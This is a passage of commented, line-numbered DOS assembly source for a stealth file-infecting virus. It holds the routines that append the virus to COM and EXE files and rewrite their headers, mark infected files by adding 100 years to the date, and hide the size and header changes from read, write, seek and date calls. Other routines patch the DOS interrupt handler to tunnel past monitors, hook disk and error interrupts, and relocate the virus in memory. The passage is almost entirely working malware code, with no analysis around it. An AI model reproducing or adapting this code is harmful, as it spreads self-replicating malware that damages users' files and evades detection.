  779.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  780.                 cmp     si,1                    ; check for EXE infection
  781.                 je      loadnoexecute_EXE_already_infected
  782.                                                 ; infected if initial IP = 1
  783.                 mov     ax,[si]                 ; check for COM infection
  784.                 add     ax,[si+2]               ; infected if checksum = 0
  785.                 add     ax,[si+4]
  786.                 jnz     perform_the_execute
  787.                 mov     bx,[si+1]               ; get jmp location
  788.                 mov     ax,ds:[bx+si-261h]      ; restore original COM file
  789.                 mov     [si],ax
  790.                 mov     ax,ds:[bx+si-25Fh]
  791.                 mov     [si+2],ax
  792.                 mov     ax,ds:[bx+si-25Dh]
  793.                 mov     [si+4],ax
  794.                 jmp     short perform_the_execute
  795. loadnoexecute_EXE_already_infected:
  796.                 mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
  797.                 call    getcurrentPSP
  798.                 mov     cx,cs:currentPSP
  799.                 add     cx,10h                  ; adjust for PSP
  800.                 add     dx,cx
  801.                 mov     es:[bx+14h],dx          ; alter the entry point CS
  802.                 mov     ax,word ptr ds:oldheader+14h
  803.                 mov     es:[bx+12h],ax
  804.                 mov     ax,word ptr ds:oldheader+0Eh ; alter stack
  805.                 add     ax,cx
  806.                 mov     es:[bx+10h],ax
  807.                 mov     ax,word ptr ds:oldheader+10h
  808.                 mov     es:[bx+0Eh],ax
  809. perform_the_execute:
  810.                 call    getcurrentPSP
  811.                 mov     ds,cs:currentPSP
  812.                 mov     ax,[bp+2]               ; restore length as held in
  813.                 mov     word ptr ds:oldheader+6,ax
  814.                 mov     ax,[bp+4]               ; the EXE header
  815.                 mov     word ptr ds:oldheader+8,ax
  816. exit_loadnoexecute:
  817.                 jmp     _popall_then_exitint21
  818.  
  819. getDOSversion:
  820.                 mov     byte ptr cs:hide_size,0
  821.                 mov     ah,2Ah                  ; Get date
  822.                 call    callint21
  823.                 cmp     dx,916h                 ; September 22?
  824.                 jb      exitDOSversion          ; leave if not
  825.                 call    writebootblock          ; this is broken
  826. exitDOSversion:
  827.                 jmp     exitotherint21
  828.  
  829. infect_file:
  830.                 call    replaceint13and24
  831.                 call    findnextparagraphboundary
  832.                 mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
  833.                 cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
  834.                 je      clearlyisanEXE              ; EXE header
  835.                 cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
  836.                 je      clearlyisanEXE              ; EXE header
  837.                 dec     byte ptr ds:EXEflag         ; if neither, assume is a
  838.                 jz      try_infect_com              ; COM file
  839. clearlyisanEXE:
  840.                 mov     ax,ds:lengthinpages     ; get file size in pages
  841.                 shl     cx,1                    ; and convert it to
  842.                 mul     cx                      ; bytes
  843.                 add     ax,200h                 ; add 512 bytes
  844.                 cmp     ax,si
  845.                 jb      go_exit_infect_file
  846.                 mov     ax,ds:minmemory         ; make sure min and max memory
  847.                 or      ax,ds:maxmemory         ; are not both zero
  848.                 jz      go_exit_infect_file
  849.                 mov     ax,ds:filesizelow       ; get filesize in dx:ax
  850.                 mov     dx,ds:filesizehigh
  851.                 mov     cx,200h                 ; convert to pages
  852.                 div     cx
  853.                 or      dx,dx                   ; filesize multiple of 512?
  854.                 jz      filesizemultiple512     ; then don't increment #
  855.                 inc     ax                      ; pages
  856. filesizemultiple512:
  857.                 mov     ds:lengthinpages,ax     ; put in new values for length
  858.                 mov     ds:lengthMOD512,dx      ; fields
  859.                 cmp     word ptr ds:initialIP,1 ; check if already infected
  860.                 je      exit_infect_file
  861.                 mov     word ptr ds:initialIP,1 ; set new entry point
  862.                 mov     ax,si                   ; calculate new entry point
  863.                 sub     ax,ds:headersize        ; segment
  864.                 mov     ds:initialcs,ax         ; put this in for cs
  865.                 add     word ptr ds:lengthinpages,8 ; 4K more
  866.                 mov     ds:initialSS,ax         ; put entry segment in for SS
  867.                 mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
  868.                 call    finish_infection
  869. go_exit_infect_file:
  870.                 jmp     short exit_infect_file
  871. try_infect_com:
  872.                 cmp     si,0F00h                ; make sure file is under
  873.                 jae     exit_infect_file        ; F00h paragraphs or else
  874.                                                 ; it will be too large once it
  875.                                                 ; is infected
  876.                 mov     ax,ds:readbuffer        ; first save first 6 bytes
  877.                 mov     word ptr ds:oldheader,ax
  878.                 add     dx,ax
  879.                 mov     ax,ds:readbuffer+2
  880.                 mov     word ptr ds:oldheader+2,ax
  881.                 add     dx,ax
  882.                 mov     ax,ds:readbuffer+4
  883.                 mov     word ptr ds:oldheader+4,ax
  884.                 add     dx,ax                   ; exit if checksum = 0
  885.                 jz      exit_infect_file        ; since then it is already
  886.                                                 ; infected
  887.                 mov     cl,0E9h                 ; encode jmp instruction
  888.                 mov     byte ptr ds:readbuffer,cl
  889.                 mov     ax,10h                  ; find file size
  890.                 mul     si
  891.                 add     ax,offset entervirus-3  ; calculate offset of jmp
  892.                 mov     word ptr ds:readbuffer+1,ax ; encode it
  893.                 mov     ax,ds:readbuffer        ; checksum it to 0
  894.                 add     ax,ds:readbuffer+2
  895.                 neg     ax
  896.                 mov     ds:readbuffer+4,ax
  897.                 call    finish_infection
  898. exit_infect_file:
  899.                 mov     ah,3Eh                  ; Close file
  900.                 call    callint21
  901.                 call    restoreint13and24
  902.                 retn
  903.  
  904.  
  905. findnextparagraphboundary:
  906.                 push    cs
  907.                 pop     ds
  908.                 mov     ax,5700h                ; Get file time/date
  909.                 call    callint21
  910.                 mov     ds:filetime,cx
  911.                 mov     ds:filedate,dx
  912.                 mov     ax,4200h                ; Go to beginning of file
  913.                 xor     cx,cx
  914.                 mov     dx,cx
  915.                 call    callint21
  916.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  917.                 mov     cl,1Ch
  918.                 mov     dx,offset readbuffer
  919.                 call    callint21
  920.                 mov     ax,4200h                ; Go to beginning of file
  921.                 xor     cx,cx
  922.                 mov     dx,cx
  923.                 call    callint21
  924.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  925.                 mov     cl,1Ch
  926.                 mov     dx,offset oldheader
  927.                 call    callint21
  928.                 mov     ax,4202h                ; Go to end of file
  929.                 xor     cx,cx
  930.                 mov     dx,cx
  931.                 call    callint21
  932.                 mov     ds:filesizelow,ax       ; save filesize
  933.                 mov     ds:filesizehigh,dx
  934.                 mov     di,ax
  935.                 add     ax,0Fh                  ; round to nearest paragraph
  936.                 adc     dx,0                    ; boundary
  937.                 and     ax,0FFF0h
  938.                 sub     di,ax                   ; di=# bytes to next paragraph
  939.                 mov     cx,10h                  ; normalize filesize
  940.                 div     cx                      ; to paragraphs
  941.                 mov     si,ax                   ; si = result
  942.                 retn
  943.  
  944.  
  945. finish_infection:
  946.                 mov     ax,4200h                ; Go to beginning of file
  947.                 xor     cx,cx
  948.                 mov     dx,cx
  949.                 call    callint21
  950.                 mov     ah,40h                  ; Write new header to file
  951.                 mov     cl,1Ch
  952.                 mov     dx,offset readbuffer
  953.                 call    callint21
  954.                 mov     ax,10h                  ; convert paragraph boundary
  955.                 mul     si                      ; to a byte value
  956.                 mov     cx,dx
  957.                 mov     dx,ax
  958.                 mov     ax,4200h                ; go to first paragraph
  959.                 call    callint21               ; boundary at end of file
  960.                 xor     dx,dx
  961.                 mov     cx,1000h
  962.                 add     cx,di
  963.                 mov     ah,40h                  ; Concatenate virus to file
  964.                 call    callint21
  965.                 mov     ax,5701h                ; Restore file time/date
  966.                 mov     cx,ds:filetime
  967.                 mov     dx,ds:filedate
  968.                 test    dh,80h                  ; check for infection bit
  969.                 jnz     highbitset
  970.                 add     dh,0C8h                 ; alter if not set yet
  971. highbitset:
  972.                 call    callint21
  973.                 cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
  974.                 jb      exit_finish_infection   ; do not hide the alteration
  975.                                                 ; in cluster count
  976.                 cmp     byte ptr ds:hideclustercountchange,0
  977.                 je      exit_finish_infection
  978.                 push    bx
  979.                 mov     dl,ds:filedrive
  980.                 mov     ah,32h                  ; Get drive parameter block
  981.                 call    callint21               ; for drive dl
  982.                 mov     ax,cs:numfreeclusters
  983.                 mov     [bx+1Eh],ax             ; alter free cluster count
  984.                 pop     bx
  985. exit_finish_infection:
  986.                 retn
  987.  
  988.  
  989. checkFCBokinfect:
  990.                 call    saveregs
  991.                 mov     di,dx
  992.                 add     di,0Dh                  ; skip to extension
  993.                 push    ds
  994.                 pop     es
  995.                 jmp     short performchecksum   ; and check checksum for valid
  996.                                                 ; checksum
  997.  
  998. checkdsdxokinfect:
  999.                 call    saveregs
  1000.                 push    ds
  1001.                 pop     es
  1002.                 mov     di,dx
  1003.                 mov     cx,50h                  ; max filespec length
  1004.                 xor     ax,ax
  1005.                 mov     bl,0                    ; default drive
  1006.                 cmp     byte ptr [di+1],':'     ; Is there a drive spec?
  1007.                 jne     ondefaultdrive          ; nope, skip it
  1008.                 mov     bl,[di]                 ; yup, get drive
  1009.                 and     bl,1Fh                  ; and convert to number
  1010. ondefaultdrive:
  1011.                 mov     cs:filedrive,bl
  1012.                 repne   scasb                   ; find terminating 0 byte
  1013. performchecksum:
  1014.                 mov     ax,[di-3]
  1015.                 and     ax,0DFDFh               ; convert to uppercase
  1016.                 add     ah,al
  1017.                 mov     al,[di-4]
  1018.                 and     al,0DFh                 ; convert to uppercase
  1019.                 add     al,ah
  1020.                 mov     byte ptr cs:EXEflag,0   ; assume COM file
  1021.                 cmp     al,0DFh                 ; COM checksum?
  1022.                 je      COMchecksum
  1023.                 inc     byte ptr cs:EXEflag     ; assume EXE file
  1024.                 cmp     al,0E2h                 ; EXE checksum?
  1025.                 jne     otherchecksum
  1026. COMchecksum:
  1027.                 call    restoreregs
  1028.                 clc                             ; mark no error
  1029.                 retn
  1030. otherchecksum:
  1031.                 call    restoreregs
  1032.                 stc                             ; mark error
  1033.                 retn
  1034.  
  1035.  
  1036. getcurrentPSP:
  1037.                 push    bx
  1038.                 mov     ah,51h                  ; Get current PSP segment
  1039.                 call    callint21
  1040.                 mov     cs:currentPSP,bx        ; store it
  1041.                 pop     bx
  1042.                 retn
  1043.  
  1044.  
  1045. setup_infection:
  1046.                 call    replaceint13and24
  1047.                 push    dx
  1048.                 mov     dl,cs:filedrive
  1049.                 mov     ah,36h                  ; Get disk free space
  1050.                 call    callint21
  1051.                 mul     cx                      ; ax = bytes per cluster
  1052.                 mul     bx                      ; dx:ax = bytes free space
  1053.                 mov     bx,dx
  1054.                 pop     dx
  1055.                 or      bx,bx                   ; less than 65536 bytes free?
  1056.                 jnz     enough_free_space       ; hopefully not
  1057.                 cmp     ax,4000h                ; exit if less than 16384
  1058.                 jb      exit_setup_infection    ; bytes free
  1059. enough_free_space:
  1060.                 mov     ax,4300h                ; Get file attributes
  1061.                 call    callint21
  1062.                 jc      exit_setup_infection    ; exit on error
  1063.                 mov     di,cx                   ; di = attributes
  1064.                 xor     cx,cx
  1065.                 mov     ax,4301h                ; Clear file attributes
  1066.                 call    callint21
  1067.                 cmp     byte ptr cs:errorflag,0 ; check for errors
  1068.                 jne     exit_setup_infection
  1069.                 mov     ax,3D02h                ; Open file read/write
  1070.                 call    callint21
  1071.                 jc      exit_setup_infection    ; exit on error
  1072.                 mov     bx,ax                   ; move handle to bx
  1073.                                                 ; xchg bx,ax is superior
  1074.                 mov     cx,di
  1075.                 mov     ax,4301h                ; Restore file attributes
  1076.                 call    callint21
  1077.                 push    bx
  1078.                 mov     dl,cs:filedrive         ; Get file's drive number
  1079.                 mov     ah,32h                  ; Get drive parameter block
  1080.                 call    callint21               ; for disk dl
  1081.                 mov     ax,[bx+1Eh]             ; Get free cluster count
  1082.                 mov     cs:numfreeclusters,ax   ; and save it
  1083.                 pop     bx                      ; return handle
  1084.                 call    restoreint13and24
  1085.                 retn
  1086. exit_setup_infection:
  1087.                 xor     bx,bx
  1088.                 dec     bx                      ; return bx=-1 on error
  1089.                 call    restoreint13and24
  1090.                 retn
  1091.  
  1092.  
  1093. checkforinfection:
  1094.                 push    cx
  1095.                 push    dx
  1096.                 push    ax
  1097.                 mov     ax,4400h                ; Get device information
  1098.                 call    callint21               ; (set hide_size = 2)
  1099.                 xor     dl,80h
  1100.                 test    dl,80h                  ; Character device?  If so,
  1101.                 jz      exit_checkforinfection  ; exit; cannot be infected
  1102.                 mov     ax,5700h                ; Otherwise get time/date
  1103.                 call    callint21
  1104.                 test    dh,80h                  ; Check year bit for infection
  1105. exit_checkforinfection:
  1106.                 pop     ax
  1107.                 pop     dx
  1108.                 pop     cx
  1109.                 retn
  1110.  
  1111. obtainfilesize:
  1112.                 call    saveregs
  1113.                 mov     ax,4201h                ; Get current file position
  1114.                 xor     cx,cx
  1115.                 xor     dx,dx
  1116.                 call    callint21
  1117.                 mov     cs:curfileposlow,ax
  1118.                 mov     cs:curfileposhigh,dx
  1119.                 mov     ax,4202h                ; Go to end of file
  1120.                 xor     cx,cx
  1121.                 xor     dx,dx
  1122.                 call    callint21
  1123.                 mov     cs:filesizelow,ax
  1124.                 mov     cs:filesizehigh,dx
  1125.                 mov     ax,4200h                ; Return to file position
  1126.                 mov     dx,cs:curfileposlow
  1127.                 mov     cx,cs:curfileposhigh
  1128.                 call    callint21
  1129.                 call    restoreregs
  1130.                 retn
  1131.  
  1132. getsetfiletimedate:
  1133.                 or      al,al                   ; Get time/date?
  1134.                 jnz     checkifsettimedate      ; if not, see if Set time/date
  1135.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1136.                 call    _popall
  1137.                 call    callint21
  1138.                 jc      gettimedate_error       ; exit on error
  1139.                 test    dh,80h                  ; check year bit if infected
  1140.                 jz      gettimedate_notinfected
  1141.                 sub     dh,0C8h                 ; if so, hide change
  1142. gettimedate_notinfected:
  1143.                 jmp     exitint21
  1144. gettimedate_error:
  1145.                 or      word ptr cs:int21flags,1; turn on trap flag
  1146.                 jmp     exitint21
  1147. checkifsettimedate:
  1148.                 cmp     al,1                    ; Set time/date?
  1149.                 jne     exit_filetimedate_pointer
  1150.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1151.                 test    dh,80h                  ; Infection bit set?
  1152.                 jz      set_yearbitset
  1153.                 sub     dh,0C8h                 ; clear infection bit
  1154. set_yearbitset:
  1155.                 call    checkforinfection
  1156.                 jz      set_datetime_nofinagle
  1157.                 add     dh,0C8h                 ; set infection flag
  1158. set_datetime_nofinagle:
  1159.                 call    callint21
  1160.                 mov     [bp-4],ax
  1161.                 adc     word ptr cs:int21flags,0; turn on/off trap flag
  1162.                 jmp     _popall_then_exitint21  ; depending on result
  1163.  
  1164. handlemovefilepointer:
  1165.                 cmp     al,2
  1166.                 jne     exit_filetimedate_pointer
  1167.                 call    checkforinfection
  1168.                 jz      exit_filetimedate_pointer
  1169.                 sub     word ptr [bp-0Ah],1000h ; hide file size
  1170.                 sbb     word ptr [bp-8],0
  1171. exit_filetimedate_pointer:
  1172.                 jmp     exitotherint21
  1173.  
  1174. handleread:
  1175.                 and     byte ptr cs:int21flags,0FEh ; clear trap flag
  1176.                 call    checkforinfection           ; exit if it is not
  1177.                 jz      exit_filetimedate_pointer   ; infected -- no need
  1178.                                                     ; to do stealthy stuff
  1179.                 mov     cs:savelength,cx
  1180.                 mov     cs:savebuffer,dx
  1181.                 mov     word ptr cs:return_code,0
  1182.                 call    obtainfilesize
  1183.                 mov     ax,cs:filesizelow       ; store the file size
  1184.                 mov     dx,cs:filesizehigh
  1185.                 sub     ax,1000h                ; get uninfected file size
  1186.                 sbb     dx,0
  1187.                 sub     ax,cs:curfileposlow     ; check if currently in
  1188.                 sbb     dx,cs:curfileposhigh    ; virus code
  1189.                 jns     not_in_virus_body       ; continue if not
  1190.                 mov     word ptr [bp-4],0       ; set return code = 0
  1191.                 jmp     handleopenclose_exit
  1192. not_in_virus_body:
  1193.                 jnz     not_reading_header
  1194.                 cmp     ax,cx                   ; reading from header?
  1195.                 ja      not_reading_header
  1196.                 mov     cs:savelength,ax        ; # bytes into header
  1197. not_reading_header:
  1198.                 mov     dx,cs:curfileposlow
  1199.                 mov     cx,cs:curfileposhigh
  1200.                 or      cx,cx                   ; if reading > 64K into file,
  1201.                 jnz     finish_reading          ; then no problems
  1202.                 cmp     dx,1Ch                  ; if reading from header, then
  1203.                 jbe     reading_from_header     ; do stealthy stuff
  1204. finish_reading:
  1205.                 mov     dx,cs:savebuffer
  1206.                 mov     cx,cs:savelength
  1207.                 mov     ah,3Fh                  ; read file
  1208.                 call    callint21
  1209.                 add     ax,cs:return_code       ; ax = bytes read
  1210.                 mov     [bp-4],ax               ; set return code properly
  1211.                 jmp     _popall_then_exitint21
  1212. reading_from_header:
  1213.                 mov     si,dx
  1214.                 mov     di,dx
  1215.                 add     di,cs:savelength
  1216.                 cmp     di,1Ch                  ; reading all of header?
  1217.                 jb      read_part_of_header     ; nope, calculate how much
  1218.                 xor     di,di
  1219.                 jmp     short do_read_from_header
  1220. read_part_of_header:
  1221.                 sub     di,1Ch
  1222.                 neg     di
  1223. do_read_from_header:
  1224.                 mov     ax,dx
  1225.                 mov     cx,cs:filesizehigh      ; calculate location in
  1226.                 mov     dx,cs:filesizelow       ; the file of the virus
  1227.                 add     dx,0Fh                  ; storage area for the
  1228.                 adc     cx,0                    ; original 1Ch bytes of
  1229.                 and     dx,0FFF0h               ; the file
  1230.                 sub     dx,0FFCh
  1231.                 sbb     cx,0
  1232.                 add     dx,ax
  1233.                 adc     cx,0
  1234.                 mov     ax,4200h                ; go to that location
  1235.                 call    callint21
  1236.                 mov     cx,1Ch
  1237.                 sub     cx,di
  1238.                 sub     cx,si
  1239.                 mov     ah,3Fh                  ; read the original header
  1240.                 mov     dx,cs:savebuffer
  1241.                 call    callint21
  1242.                 add     cs:savebuffer,ax
  1243.                 sub     cs:savelength,ax
  1244.                 add     cs:return_code,ax
  1245.                 xor     cx,cx                   ; go past the virus's header
  1246.                 mov     dx,1Ch
  1247.                 mov     ax,4200h
  1248.                 call    callint21
  1249.                 jmp     finish_reading          ; and continue the reading
  1250.  
  1251. handlewrite:
  1252.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  1253.                 call    checkforinfection
  1254.                 jnz     continue_handlewrite
  1255.                 jmp     exit_filetimedate_pointer
  1256. continue_handlewrite:
  1257.                 mov     cs:savelength,cx
  1258.                 mov     cs:savebuffer,dx
  1259.                 mov     word ptr cs:return_code,0
  1260.                 call    obtainfilesize
  1261.                 mov     ax,cs:filesizelow
  1262.                 mov     dx,cs:filesizehigh
  1263.                 sub     ax,1000h                ; calculate original file
  1264.                 sbb     dx,0                    ; size
  1265.                 sub     ax,cs:curfileposlow     ; writing from inside the
  1266.                 sbb     dx,cs:curfileposhigh    ; virus?
  1267.                 js      finish_write            ; if not, we can continue
  1268.                 jmp     short write_inside_virus; otherwise, fixup some stuff
  1269. finish_write:
  1270.                 call    replaceint13and24
  1271.                 push    cs
  1272.                 pop     ds
  1273.                 mov     dx,ds:filesizelow       ; calculate location in file
  1274.                 mov     cx,ds:filesizehigh      ; of the virus storage of the
  1275.                 add     dx,0Fh                  ; original 1Ch bytes of the
  1276.                 adc     cx,0                    ; file
  1277.                 and     dx,0FFF0h
  1278.                 sub     dx,0FFCh
  1279.                 sbb     cx,0
  1280.                 mov     ax,4200h
  1281.                 call    callint21
  1282.                 mov     dx,offset oldheader
  1283.                 mov     cx,1Ch
  1284.                 mov     ah,3Fh                  ; read original header
  1285.                 call    callint21
  1286.                 mov     ax,4200h                ; go to beginning of file
  1287.                 xor     cx,cx
  1288.                 mov     dx,cx
  1289.                 call    callint21
  1290.                 mov     dx,offset oldheader
  1291.                 mov     cx,1Ch
  1292.                 mov     ah,40h                  ; write original header to
  1293.                 call    callint21               ; the file
  1294.                 mov     dx,0F000h               ; go back 4096 bytes
  1295.                 mov     cx,0FFFFh               ; from the end of the
  1296.                 mov     ax,4202h                ; file and
  1297.                 call    callint21
  1298.                 mov     ah,40h                  ; truncate the file
  1299.                 xor     cx,cx                   ; at that position
  1300.                 call    callint21
  1301.                 mov     dx,ds:curfileposlow     ; Go to current file position
  1302.                 mov     cx,ds:curfileposhigh
  1303.                 mov     ax,4200h
  1304.                 call    callint21
  1305.                 mov     ax,5700h                ; Get file time/date
  1306.                 call    callint21
  1307.                 test    dh,80h
  1308.                 jz      high_bit_aint_set
  1309.                 sub     dh,0C8h                 ; restore file date
  1310.                 mov     ax,5701h                ; put it onto the disk
  1311.                 call    callint21
  1312. high_bit_aint_set:
  1313.                 call    restoreint13and24
  1314.                 jmp     exitotherint21
  1315. write_inside_virus:
  1316.                 jnz     write_inside_header     ; write from start of file?
  1317.                 cmp     ax,cx
  1318.                 ja      write_inside_header     ; write from inside header?
  1319.                 jmp     finish_write
  1320.  
  1321. write_inside_header:
  1322.                 mov     dx,cs:curfileposlow
  1323.                 mov     cx,cs:curfileposhigh
  1324.                 or      cx,cx                   ; Reading over 64K?
  1325.                 jnz     writemorethan1Chbytes
  1326.                 cmp     dx,1Ch                  ; Reading over 1Ch bytes?
  1327.                 ja      writemorethan1Chbytes
  1328.                 jmp     finish_write
  1329. writemorethan1Chbytes:
  1330.                 call    _popall
  1331.                 call    callint21               ; chain to int 21h
  1332.                                                 ; (allow write to take place)
  1333.                 call    _pushall
  1334.                 mov     ax,5700h                ; Get file time/date
  1335.                 call    callint21
  1336.                 test    dh,80h
  1337.                 jnz     _popall_then_exitint21_
  1338.                 add     dh,0C8h
  1339.                 mov     ax,5701h                ; restore file date
  1340.                 call    callint21
  1341. _popall_then_exitint21_:
  1342.                 jmp     _popall_then_exitint21
  1343.  
  1344.                 jmp     exitotherint21
  1345.  
  1346. int13:
  1347.                 pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
  1348.                 pop     word ptr cs:int13tempCSIP+2 ; the stack
  1349.                 pop     word ptr cs:int13flags
  1350.                 and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
  1351.                 cmp     byte ptr cs:errorflag,0 ; any errors yet?
  1352.                 jne     exitint13error          ; yes, already an error
  1353.                 push    word ptr cs:int13flags
  1354.                 call    dword ptr cs:origints
  1355.                 jnc     exitint13
  1356.                 inc     byte ptr cs:errorflag   ; mark error
  1357. exitint13error:
  1358.                 stc                             ; mark error
  1359. exitint13:
  1360.                 jmp     dword ptr cs:int13tempCSIP ; return to caller
  1361.  
  1362. int24:
  1363.                 xor     al,al                   ; ignore error
  1364.                 mov     byte ptr cs:errorflag,1 ; mark error
  1365.                 iret
  1366.  
  1367. replaceint13and24:
  1368.                 mov     byte ptr cs:errorflag,0 ; clear errors
  1369.                 call    saveregs
  1370.                 push    cs
  1371.                 pop     ds
  1372.                 mov     al,13h                  ; save int 13 handler
  1373.                 call    getint
  1374.                 mov     word ptr ds:origints,bx
  1375.                 mov     word ptr ds:origints+2,es
  1376.                 mov     word ptr ds:oldint13,bx
  1377.                 mov     word ptr ds:oldint13+2,es
  1378.                 mov     dl,0
  1379.                 mov     al,0Dh                  ; fixed disk interrupt
  1380.                 call    getint
  1381.                 mov     ax,es
  1382.                 cmp     ax,0C000h               ; is there a hard disk?
  1383.                 jae     harddiskpresent         ; C000+ is in BIOS
  1384.                 mov     dl,2
  1385. harddiskpresent:
  1386.                 mov     al,0Eh                  ; floppy disk interrupt
  1387.                 call    getint
  1388.                 mov     ax,es
  1389.                 cmp     ax,0C000h               ; check if floppy
  1390.                 jae     floppypresent
  1391.                 mov     dl,2
  1392. floppypresent:
  1393.                 mov     ds:tracemode,dl
  1394.                 call    replaceint1
  1395.                 mov     ds:savess,ss            ; save stack
  1396.                 mov     ds:savesp,sp
  1397.                 push    cs                      ; save these on stack for
  1398.                 mov     ax,offset setvirusints  ; return to setvirusints
  1399.                 push    ax
  1400.                 mov     ax,70h
  1401.                 mov     es,ax
  1402.                 mov     cx,0FFFFh
  1403.                 mov     al,0CBh                 ; retf
  1404.                 xor     di,di
  1405.                 repne   scasb                   ;scan es:di for retf statement
  1406.                 dec     di                      ; es:di->retf statement
  1407.                 pushf
  1408.                 push    es                      ; set up stack for iret to
  1409.                 push    di                      ; the retf statement which
  1410.                                                 ; will cause transfer of
  1411.                                                 ; control to setvirusints
  1412.                 pushf
  1413.                 pop     ax
  1414.                 or      ah,1                    ; turn on the trap flag
  1415.                 push    ax
  1416.                 in      al,21h                  ; save IMR in temporary
  1417.                 mov     ds:saveIMR,al           ; buffer and then
  1418.                 mov     al,0FFh                 ; disable all the
  1419.                 out     21h,al                  ; interrupts
  1420.                 popf
  1421.                 xor     ax,ax                   ; reset disk
  1422.                 jmp     dword ptr ds:origints   ; (int 13h call)
  1423.                                                 ; then transfer control to
  1424. setvirusints:                                   ; setvirusints
  1425.                 lds     dx,dword ptr ds:oldint1
  1426.                 mov     al,1                    ; restore old int 1 handler
  1427.                 call    setvect
  1428.                 push    cs
  1429.                 pop     ds
  1430.                 mov     dx,offset int13         ; replace old int 13h handler
  1431.                 mov     al,13h                  ; with virus's
  1432.                 call    setvect
  1433.                 mov     al,24h                  ; Get old critical error
  1434.                 call    getint                  ; handler and save its
  1435.                 mov     word ptr ds:oldint24,bx ; location
  1436.                 mov     word ptr ds:oldint24+2,es
  1437.                 mov     dx,offset int24
  1438.                 mov     al,24h                  ; Replace int 24 handler
  1439.                 call    setvect                 ; with virus's handler
  1440.                 call    restoreregs
  1441.                 retn
  1442.  
  1443.  
  1444. restoreint13and24:
  1445.                 call    saveregs
  1446.                 lds     dx,dword ptr cs:oldint13
  1447.                 mov     al,13h
  1448.                 call    setvect
  1449.                 lds     dx,dword ptr cs:oldint24
  1450.                 mov     al,24h
  1451.                 call    setvect
  1452.                 call    restoreregs
  1453.                 retn
  1454.  
  1455.  
  1456. disableBREAK:
  1457.                 mov     ax,3300h                ; Get current BREAK setting
  1458.                 call    callint21
  1459.                 mov     cs:BREAKsave,dl
  1460.                 mov     ax,3301h                ; Turn BREAK off
  1461.                 xor     dl,dl
  1462.                 call    callint21
  1463.                 retn
  1464.  
  1465.  
  1466. restoreBREAK:
  1467.                 mov     dl,cs:BREAKsave
  1468.                 mov     ax,3301h                ; restore BREAK setting
  1469.                 call    callint21
  1470.                 retn
  1471.  
  1472.  
  1473. _pushall:
  1474.                 pop     word ptr cs:pushpopalltempstore
  1475.                 pushf
  1476.                 push    ax
  1477.                 push    bx
  1478.                 push    cx
  1479.                 push    dx
  1480.                 push    si
  1481.                 push    di
  1482.                 push    ds
  1483.                 push    es
  1484.                 jmp     word ptr cs:pushpopalltempstore
  1485.  
  1486. swapvirint21:
  1487.                 les     di,dword ptr cs:oldint21; delve into original int
  1488.                 mov     si,offset jmpfarptr     ; handler and swap the first
  1489.                 push    cs                      ; 5 bytes.  This toggles it
  1490.                 pop     ds                      ; between a jmp to the virus
  1491.                 cld                             ; code and the original 5
  1492.                 mov     cx,5                    ; bytes of the int handler
  1493. swapvirint21loop:                               ; this is a tunnelling method
  1494.                 lodsb                           ; if I ever saw one
  1495.                 xchg    al,es:[di]              ; puts the bytes in DOS's
  1496.                 mov     [si-1],al               ; int 21h handler
  1497.                 inc     di
  1498.                 loop    swapvirint21loop
  1499.  
  1500.                 retn
  1501.  
  1502.  
  1503. _popall:
  1504.                 pop     word ptr cs:pushpopalltempstore
  1505.                 pop     es
  1506.                 pop     ds
  1507.                 pop     di
  1508.                 pop     si
  1509.                 pop     dx
  1510.                 pop     cx
  1511.                 pop     bx
  1512.                 pop     ax
  1513.                 popf
  1514.                 jmp     word ptr cs:pushpopalltempstore
  1515.  
  1516. restoreregs:
  1517.                 mov     word ptr cs:storecall,offset _popall
  1518.                 jmp     short do_saverestoreregs
  1519.  
  1520. saveregs:
  1521.                 mov     word ptr cs:storecall,offset _pushall
  1522. do_saverestoreregs:
  1523.                 mov     cs:storess,ss           ; save stack
  1524.                 mov     cs:storesp,sp
  1525.                 push    cs
  1526.                 pop     ss
  1527.                 mov     sp,cs:stackptr          ; set new stack
  1528.                 call    word ptr cs:storecall
  1529.                 mov     cs:stackptr,sp          ; update internal stack ptr
  1530.                 mov     ss,cs:storess           ; and restore stack to
  1531.                 mov     sp,cs:storesp           ; caller program's stack
  1532.                 retn
  1533.  
  1534.  
  1535. replaceint1:
  1536.                 mov     al,1                    ; get the old interrupt
  1537.                 call    getint                  ; 1 handler and save it
  1538.                 mov     word ptr cs:oldint1,bx  ; for later restoration
  1539.                 mov     word ptr cs:oldint1+2,es
  1540.                 push    cs
  1541.                 pop     ds
  1542.                 mov     dx,offset int1          ; set int 1 handler to
  1543.                 call    setvect                 ; the virus int handler
  1544.                 retn
  1545.  
  1546. allocatememory:
  1547.                 call    allocate_memory
  1548.                 jmp     exitotherint21
  1549.  
  1550. allocate_memory:
  1551.                 cmp     byte ptr cs:checkres,0  ; installed check
  1552.                 je      exitallocate_memory     ; exit if installed
  1553.                 cmp     bx,0FFFFh               ; finding total memory?
  1554.                 jne     exitallocate_memory     ; (virus trying to install?)
  1555.                 mov     bx,160h                 ; allocate memory to virus
  1556.                 call    callint21
  1557.                 jc      exitallocate_memory     ; exit on error
  1558.                 mov     dx,cs
  1559.                 cmp     ax,dx
  1560.                 jb      continue_allocate_memory
  1561.                 mov     es,ax
  1562.                 mov     ah,49h                  ; Free memory
  1563.                 call    callint21
  1564.                 jmp     short exitallocate_memory
  1565. continue_allocate_memory:
  1566.                 dec     dx                      ; get segment of MCB
  1567.                 mov     ds,dx
  1568.                 mov     word ptr ds:[1],0       ; mark unused MCB
  1569.                 inc     dx                      ; go to memory area
  1570.                 mov     ds,dx
  1571.                 mov     es,ax
  1572.                 push    ax
  1573.                 mov     word ptr cs:int21store+2,ax ; fixup segment
  1574.                 xor     si,si
  1575.                 mov     di,si
  1576.                 mov     cx,0B00h
  1577.                 rep     movsw                   ; copy virus up there
  1578.                 dec     ax                      ; go to MCB
